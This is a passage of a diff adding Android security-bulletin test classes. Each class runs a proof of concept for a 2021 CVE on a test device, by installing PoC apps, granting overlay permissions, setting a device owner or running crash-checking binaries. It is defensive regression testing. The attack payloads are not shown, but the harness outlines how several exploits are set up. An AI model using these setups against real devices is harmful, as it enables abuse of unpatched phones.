KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + uninstallPackage(device, TEST_PKG); + } + + /** + * b/185126149 + */ + @AppModeFull + @AsbSecurityTest(cveBugId = 185126149) + @Test + public void testPocCVE_2021_0642() throws Exception { + installPackage(TEST_APP); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java index f5f6b8b19b0..26bba4a6d50 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java @@ -19,14 +19,14 @@ package android.security.cts; import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import org.junit.Assert; import org.junit.Before; import org.junit.runner.RunWith; import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0685 extends BaseHostJUnit4Test { +public class CVE_2021_0685 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.cve_2021_0685"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0685.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java index 9b592bdcbbd..bf261fd0eab 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0691.java @@ -22,7 +22,7 @@ import android.util.Log; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import com.android.tradefed.log.LogUtil.CLog; import org.junit.After; @@ -38,7 +38,7 @@ import static org.hamcrest.CoreMatchers.*; * Test installs sample app and then tries to overwrite *.apk file */ @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0691 extends BaseHostJUnit4Test { +public class CVE_2021_0691 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0691"; private static final String TEST_APP = "CVE-2021-0691.apk"; private static final String DEVICE_TMP_DIR = "/data/local/tmp/"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java index 5f13cf6feec..2b7ad1452d2 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0693.java @@ -19,13 +19,13 @@ package android.security.cts; import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0693 extends BaseHostJUnit4Test { +public class CVE_2021_0693 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0693"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java index c46bedeb2f7..fabaf89437a 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0706.java @@ -20,13 +20,13 @@ import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.device.ITestDevice; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import org.junit.Before; import org.junit.runner.RunWith; import org.junit.Test; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0706 extends BaseHostJUnit4Test { +public class CVE_2021_0706 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0706"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java index 27900e19fcb..760c265fe09 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0921.java @@ -20,7 +20,7 @@ import android.platform.test.annotations.AppModeFull; import android.util.Log; import android.platform.test.annotations.AsbSecurityTest; import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; import com.android.tradefed.log.LogUtil.CLog; import org.junit.After; import org.junit.Assert; @@ -30,7 +30,7 @@ import org.junit.runner.RunWith; import static org.junit.Assert.*; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0921 extends BaseHostJUnit4Test { +public class CVE_2021_0921 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0921"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0921.apk"; diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java new file mode 100644 index 00000000000..ecb6bdd3cd4 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0953.java @@ -0,0 +1,43 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_0953 extends StsExtraBusinessLogicHostTestBase { + + @AsbSecurityTest(cveBugId = 184046278) + @Test + public void testPocCVE_2021_0953() throws Exception { + final String TEST_PKG = "android.security.cts.CVE_2021_0953"; + final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + final String TEST_APP = "CVE-2021-0953.apk"; + ITestDevice device = getDevice(); + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + installPackage(TEST_APP); + runDeviceTests(TEST_PKG, TEST_CLASS, "testMutablePendingIntent"); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java index a242904c0c2..65934f2741f 100644 --- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0965.java @@ -16,18 +16,20 @@ package android.security.cts; -import static org.junit.Assert.assertFalse; + import android.platform.test.annotations.AppModeFull; import android.platform.test.annotations.AsbSecurityTest; + import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; -import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; + +import org.junit.Assert; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; -import java.util.regex.Pattern; @RunWith(DeviceJUnit4ClassRunner.class) -public class CVE_2021_0965 extends BaseHostJUnit4Test { +public class CVE_2021_0965 extends StsExtraBusinessLogicHostTestBase { private static final String TEST_PKG = "android.security.cts.CVE_2021_0965"; private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; private static final String TEST_APP = "CVE-2021-0965.apk"; @@ -45,10 +47,6 @@ public class CVE_2021_0965 extends BaseHostJUnit4Test { @Test public void testPocCVE_2021_0965() throws Exception { installPackage(TEST_APP, new String[0]); - runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission"); - String errorLog = "Vulnerable to b/194300867 !!"; - String logcat = AdbUtils.runCommandLine("logcat -d AndroidRuntime:E *:S", getDevice()); - Pattern pattern = Pattern.compile(errorLog, Pattern.MULTILINE); - assertFalse(pattern.matcher(logcat).find()); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPermission")); } } diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java new file mode 100644 index 00000000000..3b12ce5a926 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39626.java @@ -0,0 +1,47 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39626 extends StsExtraBusinessLogicHostTestBase { + static final String TEST_APP = "CVE-2021-39626.apk"; + static final String TEST_PKG = "android.security.cts.CVE_2021_39626"; + static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + + @AsbSecurityTest(cveBugId = 194695497) + @Test + public void testPocCVE_2021_39626() throws Exception { + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); + + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + installPackage(TEST_APP, "-t"); + runDeviceTests(TEST_PKG, TEST_CLASS, "testBtDiscoverable"); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java new file mode 100644 index 00000000000..6cac004b175 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39664.java @@ -0,0 +1,56 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.runner.RunWith; +import org.junit.Test; + +import java.util.Arrays; +import java.util.regex.Pattern; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39664 extends SecurityTestCase { + + /** + * b/203938029 + * Vulnerability Behaviour: SIGSEGV in self + * Vulnerable Library: libandroidfw (As per AOSP code) + * Vulnerable Function: android::LoadedPackage::Load (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 203938029) + @Test + public void testPocCVE_2021_39664() throws Exception { + String inputFiles[] = {"cve_2021_39664"}; + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2021-39664"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libandroidfw", + "android::LoadedPackage::Load")); + testConfig.config.setSignals(signals); + testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0]; + testConfig.inputFiles = Arrays.asList(inputFiles); + testConfig.inputFilesDestination = AdbUtils.TMP_PATH; + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java new file mode 100644 index 00000000000..519bd242f6a --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39665.java @@ -0,0 +1,51 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.compatibility.common.util.CrashUtils; +import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import java.util.regex.Pattern; + +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39665 extends SecurityTestCase { + + /** + * b/204077881 + * Vulnerability Behavior: SIGSEGV in self + * Vulnerable Library: libmediaplayerservice (As per AOSP code) + * Vulnerable Function: android::AAVCAssembler::checkSpsUpdated (As per AOSP code) + */ + @AsbSecurityTest(cveBugId = 204077881) + @Test + public void testPocCVE_2021_39665() throws Exception { + String signals[] = {CrashUtils.SIGSEGV}; + String binaryName = "CVE-2021-39665"; + AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice()); + testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName)) + .setBacktraceIncludes(new BacktraceFilterPattern("libmediaplayerservice", + "android::AAVCAssembler::checkSpsUpdated")); + testConfig.config.setSignals(signals); + AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java new file mode 100644 index 00000000000..8f12b522fad --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39675.java @@ -0,0 +1,42 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39675 extends SecurityTestCase { + + /** + * b/205729183 + * Vulnerability Behavior: EXIT_VULNERABLE (113) + */ + @AsbSecurityTest(cveBugId = 205729183) + @Test + public void testPocCVE_2021_39675() throws Exception { + AdbUtils.assumeHasNfc(getDevice()); + assumeIsSupportedNfcDevice(getDevice()); + pocPusher.only64(); + AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2021-39675", getDevice(), + AdbUtils.TIMEOUT_SEC); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java new file mode 100644 index 00000000000..444f1a55a60 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39692.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.assertTrue; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39692 extends StsExtraBusinessLogicHostTestBase { + + @AppModeFull + @AsbSecurityTest(cveBugId = 209611539) + @Test + public void testPocCVE_2021_39692() throws Exception { + ITestDevice device = getDevice(); + final String testPkg = "android.security.cts.CVE_2021_39692"; + uninstallPackage(device, testPkg); + + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + installPackage("CVE-2021-39692.apk"); + AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW", + device); + assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java new file mode 100644 index 00000000000..acc6a2ed00f --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39700.java @@ -0,0 +1,51 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import static org.junit.Assert.assertTrue; +import static org.junit.Assume.assumeTrue; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import java.io.File; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39700 extends StsExtraBusinessLogicHostTestBase { + + /** + * b/201645790 + * This test is related to + * "hostsidetests/appsecurity/src/android/appsecurity/cts/ListeningPortsTest.java" + */ + @AsbSecurityTest(cveBugId = 201645790) + @Test + public void testPocCVE_2021_39700() throws Exception { + ITestDevice device = getDevice(); + assumeTrue("Failed to unroot the device", device.disableAdbRoot()); + String procUdp6File = "/proc/net/udp6"; + File tempFile = File.createTempFile("CVE_2021_39700", "temp"); + assertTrue("Vulnerable to b/201645790 !!", device.pullFile(procUdp6File, tempFile)); + tempFile.deleteOnExit(); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java new file mode 100644 index 00000000000..d92af4d40f2 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39702.java @@ -0,0 +1,52 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AppModeFull; +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; + +import org.junit.Assert; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39702 extends BaseHostJUnit4Test { + private static final String TEST_PKG = "android.security.cts.CVE_2021_39702"; + private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + private static final String TEST_APP = "CVE-2021-39702.apk"; + + @AppModeFull + @AsbSecurityTest(cveBugId = 205150380) + @Test + public void testPocCVE_2021_39702() throws Exception { + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); + + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + installPackage(TEST_APP); + AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", + device); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java new file mode 100644 index 00000000000..e2d88bdea1f --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39706.java @@ -0,0 +1,57 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.After; +import org.junit.runner.RunWith; +import org.junit.Test; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39706 extends StsExtraBusinessLogicHostTestBase { + public static final int USER_ID = 0; + static final String TEST_APP = "CVE-2021-39706.apk"; + static final String TEST_PKG = "android.security.cts.CVE_2021_39706"; + static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + public static final String TEST_DEVICE_ADMIN_RECEIVER = TEST_PKG + ".PocDeviceAdminReceiver"; + + @After + public void tearDown() throws Exception { + // Remove Device Admin Component + AdbUtils.runCommandLine("dpm remove-active-admin --user " + USER_ID + " '" + TEST_PKG + "/" + + TEST_DEVICE_ADMIN_RECEIVER + "'", getDevice()); + } + + @AsbSecurityTest(cveBugId = 200164168) + @Test + public void testPocCVE_2021_39706() throws Exception { + ITestDevice device = getDevice(); + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + installPackage(TEST_APP, "-t"); + // Set Device Admin Component + AdbUtils.runCommandLine("dpm set-device-owner --user " + USER_ID + " '" + TEST_PKG + "/" + + TEST_DEVICE_ADMIN_RECEIVER + "'", device); + runDeviceTests(TEST_PKG, TEST_CLASS, "testCredentialReset"); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java new file mode 100644 index 00000000000..0ae1efa8e83 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39794.java @@ -0,0 +1,60 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; + +import org.junit.Assert; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39794 extends StsExtraBusinessLogicHostTestBase { + + static final String TEST_APP = "CVE-2021-39794-test.apk"; + static final String RECEIVER_APP = "CVE-2021-39794-receiver.apk"; + + static final String TEST_PKG = "android.security.cts.CVE_2021_39794_test"; + static final String RECEIVER_PKG = "android.security.cts.CVE_2021_39794_receiver"; + + static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + + /** + * b/205836329 + */ + @AsbSecurityTest(cveBugId = 205836329) + @Test + public void testPocCVE_2021_39794() throws Exception { + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); + uninstallPackage(device, RECEIVER_PKG); + + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + installPackage(RECEIVER_APP); + AdbUtils.runCommandLine("am start -n " + RECEIVER_PKG + "/.PocActivity", device); + + installPackage(TEST_APP); + Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_39794")); + } +} diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java new file mode 100644 index 00000000000..f90cae0c295 --- /dev/null +++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39796.java @@ -0,0 +1,61 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package android.security.cts; + +import android.platform.test.annotations.AsbSecurityTest; + +import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.testtype.DeviceJUnit4ClassRunner; +import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase; + +import org.junit.Assert; +import org.junit.Test; +import org.junit.runner.RunWith; + +@RunWith(DeviceJUnit4ClassRunner.class) +public class CVE_2021_39796 extends StsExtraBusinessLogicHostTestBase { + static final int USER_ID = 0; + static final String TEST_PKG = "android.security.cts.CVE_2021_39796"; + static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest"; + static final String TEST_APP = "CVE-2021-39796.apk"; + static final String HARMFUL_APP = "CVE-2021-39796-harmful.apk"; + static final String HARMFUL_PKG = "android.security.cts.CVE_2021_39796_harmful"; + + @AsbSecurityTest(cveBugId = 205595291) + @Test + public void testPocCVE_2021_39796() throws Exception { + ITestDevice device = getDevice(); + uninstallPackage(device, TEST_PKG); + + /* Wake up the screen */ + AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device); + AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device); + + installPackage(HARMFUL_APP); + /* Set the harmful app as harmful */ + AdbUtils.runCommandLine("pm set-harmful-app-warning " + HARMFUL_PKG + " harmful 0", device); + + installPackage(TEST_APP); + + AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW", + device); + 